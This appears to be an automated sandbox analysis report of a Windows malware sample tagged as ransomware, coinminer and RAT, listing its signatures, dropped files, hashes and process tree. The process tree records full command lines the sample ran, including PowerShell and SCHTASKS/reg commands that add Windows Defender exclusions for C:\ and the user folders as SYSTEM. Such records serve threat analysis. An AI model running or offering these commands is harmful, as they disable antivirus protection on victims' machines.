Overview

overview

10

Static

static

3

2026-08-19...at.exe

windows10-2004-x64

10

2026-08-19...at.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    143s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 07:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-19_b4c8cf55f2ec4bef78e078e88d14896c_akira_coinminer_dosia_glassworm_quasar-rat.exe
  • Size 37.9MB
  • Sample260819-js35ra1yet
  • SHA256 56ecab3bcf8a67ea6b08f9bcf464737875313381809cd9cb76c016cc76842a62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-19_b4c8cf55f2ec4bef78e078e88d14896c_akira_coinminer_dosia_glassworm_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-19_b4c8cf55f2ec4bef78e078e88d14896c_akira_coinminer_dosia_glassworm_quasar-rat.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1004
  • C:\Users\Public\nkoMcz\VkQTDl.exe
    "C:\Users\Public\nkoMcz\VkQTDl.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4464
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nkoMcz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:2936
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nkoMcz\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2632
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2100
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3836
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:5260
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5404
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5936
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4220
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5512
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5664
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1256
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5376
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4444
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1284
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5652
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5852
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4724
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5292
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3948
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2984
                      • C:\Users\Public\nkoMcz\VkQTDl.exe
                        "C:\Users\Public\nkoMcz\VkQTDl.exe"
                        1⤵
                          PID:3476
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nkoMcz" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2492
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5588
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1280
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1048

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                UxEnhance64.dll
                                • Path C:\Users\Public\nkoMcz\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 32f161b45ac206c668f1d436fff9245ee4427e92e486c00f541c09c3b09c5f0b
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                VkQTDl.exe
                                • Path C:\Users\Public\nkoMcz\VkQTDl.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                adoresd.dat
                                • Path C:\Users\Public\nkoMcz\adoresd.dat
                                • Size 4.7MB
                                • SHA256 f0fe39b2791f47d91d61b9d8574978a1dafd2cbc190c75cb3d892dae1e393711
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                msadox.tb
                                • Path C:\Users\Public\nkoMcz\msadox.tb
                                • Size 8KB
                                • SHA256 b7fed218d64262896b742557ef34b708a954e7fecddc59d6770996dedaf5878b
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                memory/1004-1-0x00000000008B0000-0x00000000008BC000-memory.dmp
                                Download

                                memory/1004-503-0x00007FFA62390000-0x00007FFA623A2000-memory.dmp
                                Download

                                memory/1004-524-0x00007FFA62390000-0x00007FFA623A2000-memory.dmp
                                Download

                                memory/1004-523-0x00000000005A0000-0x00000000005AE000-memory.dmp
                                Download

                                memory/1004-0-0x00000000005A0000-0x00000000005AE000-memory.dmp
                                Download

                                memory/1136-549-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-559-0x0000024197F80000-0x000002419800A000-memory.dmp
                                Download

                                memory/1136-535-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-537-0x00007FFA6AC20000-0x00007FFA6AC22000-memory.dmp
                                Download

                                memory/1136-538-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-542-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-543-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-544-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-545-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-529-0x00007FFA6AC10000-0x00007FFA6AC12000-memory.dmp
                                Download

                                memory/1136-556-0x0000024196C80000-0x0000024196CCE000-memory.dmp
                                Download

                                memory/1136-558-0x0000024197F80000-0x000002419800A000-memory.dmp
                                Download

                                memory/1136-557-0x0000024197F80000-0x000002419800A000-memory.dmp
                                Download

                                memory/1136-530-0x00007FFA48000000-0x00007FFA4851E000-memory.dmp
                                Download

                                memory/1136-560-0x0000024197F80000-0x000002419800A000-memory.dmp
                                Download

                                memory/1136-563-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-565-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/1136-566-0x0000024197660000-0x0000024197EE7000-memory.dmp
                                Download

                                memory/3476-572-0x00007FFA48000000-0x00007FFA4851E000-memory.dmp
                                Download

                                memory/3476-575-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/3476-577-0x00007FFA6AC20000-0x00007FFA6AC22000-memory.dmp
                                Download

                                memory/3476-583-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/3476-584-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/3476-582-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/3476-585-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/3476-586-0x00007FFA6AC10000-0x00007FFA6AC12000-memory.dmp
                                Download

                                memory/3476-578-0x0000014E20C60000-0x0000014E214E7000-memory.dmp
                                Download

                                memory/4464-601-0x00000120735D0000-0x00000120735F2000-memory.dmp
                                Download